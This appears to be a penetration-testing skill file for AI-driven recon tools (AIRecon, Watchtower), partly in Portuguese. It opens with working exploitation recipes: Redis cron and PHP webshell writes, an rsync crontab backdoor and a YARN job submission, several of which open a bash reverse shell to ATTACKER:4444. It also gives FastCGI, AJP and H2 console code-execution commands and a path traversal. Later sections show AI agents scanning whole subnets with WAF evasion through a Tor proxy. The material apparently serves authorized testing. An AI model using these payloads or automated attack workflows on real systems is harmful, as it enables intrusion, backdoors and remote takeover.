redis-cli -h TARGET
> set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save
# Write Webshell
redis-cli -h TARGET
> set webshell "<?php system($_GET['cmd']); ?>"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save
# Access: http://TARGET/shell.php?cmd=id
# Master-Slave Replication RCE
python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
# Loads module via SLAVEOF → MODULE LOAD → system.exec
# Detection
rsync TARGET::
# Lists available modules (shares) if anonymous access allowed
# Download entire module
rsync -av TARGET::MODULE_NAME /tmp/loot/
# Exploitation — Write Crontab
echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron
rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor
# Mechanism: PHP-FPM listens for FastCGI requests
# If exposed to network (instead of Unix socket), send crafted FastCGI packets
# Using fcgi_exp or similar tool:
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"
# Key FastCGI Environment Variables:
# SCRIPT_FILENAME = /var/www/html/index.php (must point to existing .php file)
# PHP_VALUE = auto_prepend_file = php://input (injects POST body as PHP code)
# PHP_ADMIN_VALUE = allow_url_include = On (enables remote inclusion)
# Via SSRF (gopher)
# Tool: Gopherus generates the gopher:// URL
python3 gopherus.py --exploit fastcgi
# Mechanism: AJP trusts all incoming data
# Attacker connecting directly can set javax.servlet.include.request_uri
# File Read
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
# Reads any file within the webapp root:
# /WEB-INF/web.xml — deployment descriptor
# /WEB-INF/classes/*.class — compiled Java classes
# /WEB-INF/lib/*.jar — library JARs
# File Include → RCE (if file upload exists)
python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
# If the file contains JSP code, it gets executed
# Detection
curl http://TARGET:8088/cluster
# If accessible → unauthenticated YARN ResourceManager UI
# RCE via Application Submission
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# Returns: {"application-id":"application_xxx_0001"}
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
-H "Content-Type: application/json" \
-d '{
"application-id": "application_xxx_0001",
"application-name": "test",
"am-container-spec": {
"commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
},
"application-type": "YARN"
}'
# Detection — often enabled in Spring Boot apps:
# spring.h2.console.enabled=true
# spring.h2.console.settings.web-allow-others=true
# Access: http://TARGET:PORT/h2-console
# JNDI Injection via Connection String
# In the H2 Console login form, the JDBC URL field accepts JNDI:
# JDBC URL: javax.naming.InitialContext
# LDAP response attributes:
# javaClassName: javax.el.ELProcessor
# javaFactory: org.apache.naming.factory.BeanFactory
# forceString: x=eval
# x: Runtime.getRuntime().exec("id")
# RCE via RUNSCRIPT
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');
# Nginx Off-By-Slash Path Traversal
# Vulnerable configuration:
# location /static {
# alias /var/www/static/;
# }
# Access: /static../etc/passwd → resolves to /var/www/etc/passwd
# The missing trailing slash on location causes path traversal
# X-Forwarded-For / X-Real-IP Trust
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
# May bypass IP whitelist for admin panels
# Caddy Template Injection (Go template)
# If user input reaches Caddy template rendering:
{{.Req.Host}} → Information disclosure
{{readFile "/etc/passwd"}} → Local file read via Go template
NOTE: AIRecon can automate network scanning workflows, combine Naabu + Nettacker results, and provide intelligent target prioritization.
# Quick network scan with Naabu
airecon "scan target.com with naabu port scanner"
# Comprehensive network reconnaissance
airecon "network scan target.com using naabu and nettacker"
# Stealth scan with evasion techniques
airecon "stealth network scan target.com with hping3 evasion"
# Large scale subnet scan
airecon "scan 192.168.1.0/24 subnet for active hosts and open ports"
# Quick Naabu scan via slash command
/ai airecon "/naabu-scan target.com"
# Naabu with specific ports
/ai airecon "/naabu-scan target.com -p 80,443,8080,8443"
# Naabu full port scan
/ai airecon "/naabu-scan target.com -p -"
# Naabu with output
/ai airecon "/naabu-scan target.com -o scan-results.json"
# Use hexstrike-local for nmap scan
airecon "run nmap scan on target.com with version detection"
# Use hexstrike-local for naabu scan
airecon "run naabu scan on target.com with all ports"
# Use pentestswarm-remote for comprehensive recon
airecon "run pentestswarm quick_recon on target.com"
# Use hexstrike-local for masscan high-speed scan
airecon "run masscan on 192.168.0.0/16 at high speed"
# Step 1: AIRecon runs Naabu for fast port discovery
airecon "naabu scan target.com -p - -silent"
# Step 2: AIRecon runs Nettacker for vulnerability scanning
airecon "nettacker scan target.com with vuln modules on discovered ports"
# Step 3: AIRecon consolidates results
airecon "consolidate naabu and nettacker results into unified report"
# AIRecon will:
# - Parse Naabu JSON output
# - Parse Nettacker HTML/JSON report
# - Deduplicate findings
# - Generate unified network map
# - Output: network_scan_report.json, network_topology.md
| Keywords | Skills Loaded | MCP Tools |
|---|---|---|
naabu, port scan, network scan | pentest-network-scanning.md | hexstrike-local (nmap_scan, naabu_scan, rustscan_fast_scan) |
nettacker, OWASP, CVE scan | pentest-network-scanning.md, pentest-vulnerability-analysis.md | hexstrike-local (nuclei_scan, nikto_scan) |
hping3, evasion, firewall | pentest-network-scanning.md | hexstrike-local (optimize_tool_parameters_ai) |
subnet, CIDR, masscan | pentest-network-scanning.md | hexstrike-local (masscan_high_speed, arp_scan_discovery) |
subdomain, dns, enumeration | pentest-network-scanning.md, pentest-intelligence-gathering.md | hexstrike-local (subfinder_scan, amass_scan, dnsenum_scan) |
# External footprinting (PTES 2.5.4)
airecon "external footprint target.com using subfinder, naabu, httpx"
# Internal network discovery
airecon "internal network scan 10.0.0.0/24 with arp and port scan"
# DMZ assessment
airecon "DMZ network assessment for target.com with vulnerability scanning"
# Cloud network mapping
airecon "AWS network mapping for account with naabu and nmap"
# AIRecon auto-detects pfSense during network scan
airecon "scan firewall.target.com and detect if it's pfSense"
# If pfSense detected, AIRecon will:
# 1. Load pentest-pfsense skill automatically
# 2. Run pfSense-specific CVE checks
# 3. Check for default credentials
# 4. Test for command injection vectors
# 5. Generate pfSense-specific findings
# If scan fails due to rate limiting
airecon "scan target.com --rate-limit 100 --retry 3"
# If scan blocked by WAF
airecon "scan target.com --waf-evasion --proxy socks5://127.0.0.1:9050"
# If hosts unreachable
airecon "scan 192.168.1.0/24 --ping-before --timeout 5000"
# JSON for SIEM integration
airecon "scan target.com --output json > network-scan.json"
# Markdown for documentation
airecon "scan target.com --output markdown > network-scan.md"
# CSV for spreadsheet analysis
airecon "scan target.com --output csv > network-scan.csv"
# Graph visualization data
airecon "scan target.com --output graph > network-topology.json"
Watchtower é um framework de penetration testing baseado em LangGraph com arquitetura multi-agente (Planner, Worker, Analyst) que automatiza network reconnaissance usando 23 ferramentas de segurança.
# Network scanning completo com Watchtower
python -m watchtower.main -t https://www.example.com --skip-ask-tools
# Watchtower executará automaticamente:
# - Port scanning: nmap, masscan
# - Web probing: httpx, whatweb, wafw00f
# - Service detection: nmap -sV, whatweb
# - SSL/TLS analysis: testssl.sh, sslyze
# Scan de rede interna (CIDR ranges)
python -m watchtower.main -t 192.168.1.0/24 --skip-ask-tools
# High-speed scanning com masscan
python -m watchtower.main -t 10.0.0.0/8 --skip-ask-tools
# Quick port scan
/watchtower-scan --target 192.168.1.0/24 --ports 1-1000
# Full port scan (all 65535 ports)
/watchtower-scan --target target.com --ports -
# Service version detection
/watchtower-scan --target target.com --service-detect
# SSL/TLS analysis
/watchtower-scan --target target.com --ssl-analysis
# WAF detection
/watchtower-scan --target target.com --waf-detect
Watchtower integra-se com MCP tools automaticamente durante network scanning:
# hexstrike-local: Network scanning tools
# - nmap_scan: Port scanning com NSE scripts
# - masscan_high_speed: Internet-scale scanning
# - rustscan_fast_scan: Ultra-fast port discovery
# - arp_scan_discovery: ARP-based host discovery
# - nbtscan_netbios: NetBIOS enumeration
# - enum4linux_scan: SMB enumeration
# - smbmap_scan: SMB share enumeration
# Service detection
# - whatweb: CMS and framework detection
# - wafw00f: WAF fingerprinting
# - httpx_probe: HTTP probing with tech detect
# SSL/TLS analysis
# - testssl.sh: Comprehensive SSL/TLS testing
# - sslyze: SSL certificate and protocol analysis
# Vulnerability scanning
# - nuclei_scan: Template-based vulnerability detection
# - nikto_scan: Web server vulnerability assessment
# 1. Watchtower Planner analisa target e planeja scan
python -m watchtower.main -t 192.168.1.0/24 --skip-ask-tools
# 2. Watchtower executa em paralelo:
# - Host discovery (ARP, ICMP, TCP SYN)
# - Port scanning (nmap, masscan)
# - Service detection (nmap -sV, whatweb)
# - SSL/TLS analysis (testssl.sh)
# - WAF detection (wafw00f)
# 3. Watchtower Analyst consolida findings
# 4. Relatório PDF gerado automaticamente
python -m watchtower.main --report "network_scan_report.pdf"
# Watchtower detecta pfSense automaticamente
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools
# Detecção via:
# - nmap: Service version detection (nginx + pfSense)
# - whatweb: CMS fingerprinting
# - wafw00f: WAF/Platform detection
# - testssl.sh: SSL certificate analysis (CN=pfSense)
# Se pfSense detectado:
# - Watchtower mapeia portas (80, 443, 22, 1194)
# - Verifica CVEs via cve-mcp
# - Analyst categoriza por severidade
# Watchtower detecta cPanel/WHM nas portas padrão
python -m watchtower.main -t https://target.com:2087 --skip-ask-tools
# Portas escaneadas automaticamente:
# - 2087 (WHM SSL)
# - 2083 (cPanel SSL)
# - 2095 (cPanel Webmail)
# - 2096 (Webmail SSL)
# Detecção via:
# - nmap -sV: Service version detection
# - whatweb: cPanel/WHM fingerprinting
| Keywords Detectadas | Skills Carregadas | Watchtower Tools Ativadas |
|---|---|---|
port scan network | pentest-network-scanning | nmap, masscan, rustscan |
service detect | pentest-network-scanning | nmap -sV, whatweb |
ssl tls | pentest-vulnerability-analysis | testssl.sh, sslyze |
waf | pentest-network-scanning | wafw00f |
web probe | pentest-intelligence-gathering | httpx |
smb netbios | pentest-network-scanning | nbtscan, enum4linux, smbmap |
host discovery | pentest-network-scanning | arp-scan, nmap -sn |
high-speed | pentest-network-scanning | masscan |
| Tool | Category | Use Case | Speed |
|---|---|---|---|
| nmap | Port Scanning | Service discovery, version detection | Moderate |
| masscan | Port Scanning | Internet-scale, high-speed scanning | Ultra-fast |
| rustscan | Port Scanning | Fast port discovery + nmap integration | Very fast |
| httpx | Web Probing | HTTP probing, title, tech detection | Fast |
| whatweb | Tech Detection | CMS, framework, server identification | Fast |
| wafw00f | WAF Detection | WAF fingerprinting | Fast |
| testssl.sh | SSL/TLS | Comprehensive SSL/TLS configuration | Moderate |
| sslyze | SSL/TLS | SSL certificate and protocol analysis | Fast |
| nuclei | Vuln Scanning | Template-based vulnerability detection | Fast |
| nikto | Web Scanning | Web server vulnerability assessment | Moderate |
| arp-scan | Host Discovery | Local network ARP scanning | Very fast |
| nbtscan | NetBIOS | NetBIOS name scanning | Fast |
| enum4linux | SMB | SMB user/share enumeration | Moderate |
| smbmap | SMB | SMB share enumeration | Fast |
| gobuster | Dir Bruteforce | Directory/file discovery | Fast |
| ffuf | Fuzzing | Web application fuzzing | Very fast |
┌─────────────────────────────────────────────────────────────┐
│ Watchtower Network Scanning Strategy │
└─────────────────────────────────────────────────────────────┘
│
┌─────────────────────┼─────────────────────┐
│ │ │
▼ ▼ ▼
┌───────────────┐ ┌─────────────────┐ ┌───────────────┐
│ Host Discovery│ │ Port Scanning │ │Service Detect │
│ │ │ │ │ │
│ - ARP scan │ │ - masscan (fast)│ │ - nmap -sV │
│ - ICMP ping │ │ - nmap (std) │ │ - whatweb │
│ - TCP SYN │ │ - rustscan │ │ - wafw00f │
└───────────────┘ └─────────────────┘ └───────────────┘
│
▼
┌─────────────────┐
│ Vuln Analysis │
│ │
│ - nuclei │
│ - nikto │
│ - testssl.sh │
└─────────────────┘
# 1. Naabu para descoberta rápida de portas
naabu -host target.com -p - -silent -j | tee naabu_ports.json
# 2. Watchtower para análise detalhada dos serviços
python -m watchtower.main -t https://target.com --skip-ask-tools
# 3. Consolidar resultados
# Naabu: Portas abertas
# Watchtower: Serviços, vulnerabilidades, SSL/TLS
# 4. Gerar relatório unificado
python -m watchtower.main --report "consolidated_network_report.pdf"
# 1. Nettacker para vulnerability scanning
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m port_scan,*_vuln -o /output/nettacker.html
# 2. Watchtower para análise complementar
python -m watchtower.main -t https://target.com --skip-ask-tools
# 3. Watchtower Analyst compara findings:
# - Nettacker: 50+ CVE checks
# - Watchtower: 23 tools + LLM analysis
# 4. Consolidar findings
airecon "merge nettacker and watchtower findings"
# Rate limiting para scans grandes
python -m watchtower.main -t 10.0.0.0/8 \
--rate-limit 1000 \
--skip-ask-tools
# Threads para scanning paralelo
python -m watchtower.main -t 192.168.0.0/16 \
--threads 50 \
--skip-ask-tools
# Timeout customizado
python -m watchtower.main -t target.com \
--timeout 30000 \
--skip-ask-tools
# JSON output para integração
python -m watchtower.main -t target.com \
--output json \
--skip-ask-tools \
-o scan_results.json
# PDF report automático
python -m watchtower.main -t target.com \
--report "network_scan_report.pdf" \
--skip-ask-tools
# SQLite database para persistência
# Watchtower salva automaticamente em:
# ~/.watchtower/pentest_memory.db
Watchtower implementa retry logic e fallback automático:
Se ferramenta falha:
1. Retry com backoff exponencial (2s, 4s, 8s)
2. Fallback para ferramenta alternativa:
- nmap falha → masscan
- masscan falha → rustscan
- testssl.sh falha → sslyze
3. Reporta falha após 3 retries
4. Continua com próximas ferramentas
# 1. AIRecon para planning inicial
airecon "plan network scan for 192.168.1.0/24"
# 2. Watchtower para execução automatizada
python -m watchtower.main -t 192.168.1.0/24 --skip-ask-tools
# 3. AIRecon para análise de findings
airecon "analyze watchtower network scan findings"
# 4. Watchtower gera relatório PDF
python -m watchtower.main --report "final_network_report.pdf"
# External footprinting (PTES 2.5.4)
python -m watchtower.main -t target.com --skip-ask-tools
# Internal network discovery
python -m watchtower.main -t 10.0.0.0/24 --skip-ask-tools
# DMZ assessment
python -m watchtower.main -t dmz.target.com --skip-ask-tools
# Cloud network mapping
python -m watchtower.main -t cloud-target.com --skip-ask-tools
# Subnet enumeration
python -m watchtower.main -t 172.16.0.0/16 --skip-ask-tools
# Watchtower detecta pfSense automaticamente via:
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools
# Detecção automática:
# 1. nmap -sV: nginx + pfSense signatures
# 2. whatweb: pfSense CMS detection
# 3. wafw00f: pfSense WAF fingerprinting
# 4. testssl.sh: CN=pfSense no certificado
# Se pfSense detectado:
# - Watchtower carrega pentest-pfsense skill
# - Executa CVE checks específicos
# - Verifica portas padrão (80, 443, 22, 1194, 500)
# Watchtower escaneia portas cPanel/WHM automaticamente
python -m watchtower.main -t https://target.com --skip-ask-tools
# Portas verificadas:
# - 2087 (WHM SSL)
# - 2083 (cPanel SSL)
# - 2095 (cPanel Webmail)
# - 2096 (Webmail SSL)
# - 2086 (WHM não-SSL)
# - 2082 (cPanel não-SSL)
# Se cPanel detectado:
# - Watchtower carrega pentest-exploitation skill
# - Verifica CVE-2026-41940 (Authentication Bypass)
# - Executa wpscan para WordPress (se detectado)
/pentest-intelligence-gathering - OSINT e footprinting/osint-investigation - Skill exclusiva de OSINT com pipeline de 5 estágios, asset graph, e técnicas avançadas/pentest-vulnerability-analysis - Análise de vulnerabilidades com risk scoring (CVSS + EPSS + KEV + PoC)/pentest-exploitation - Exploração com hping3/headi/pentest-post-exploitation - Movimentação lateral e persistência/security-commands - Comandos de segurança rápidos